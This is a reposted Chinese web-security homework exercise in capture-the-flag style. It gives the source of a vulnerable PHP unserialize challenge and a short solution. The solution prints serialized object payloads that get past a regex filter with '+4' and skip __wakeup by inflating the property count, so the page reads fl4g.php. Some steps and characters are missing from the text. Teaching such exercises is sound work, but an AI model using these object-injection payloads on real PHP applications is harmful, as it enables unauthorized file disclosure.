源码如下：
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
请写出解题思路。
解答：
4. 匹配函数绕过
-
oc：代表这块区域用来匹配o或者c -
d：代表一个数字字符 -
+：代表可以匹配多次 -
/i：匹配时不区分大小写
(preg_match('/[oc]:d+:/i',$var))O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
原文始发于微信公众号（豆豆咨询）：作业二 Web安全
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论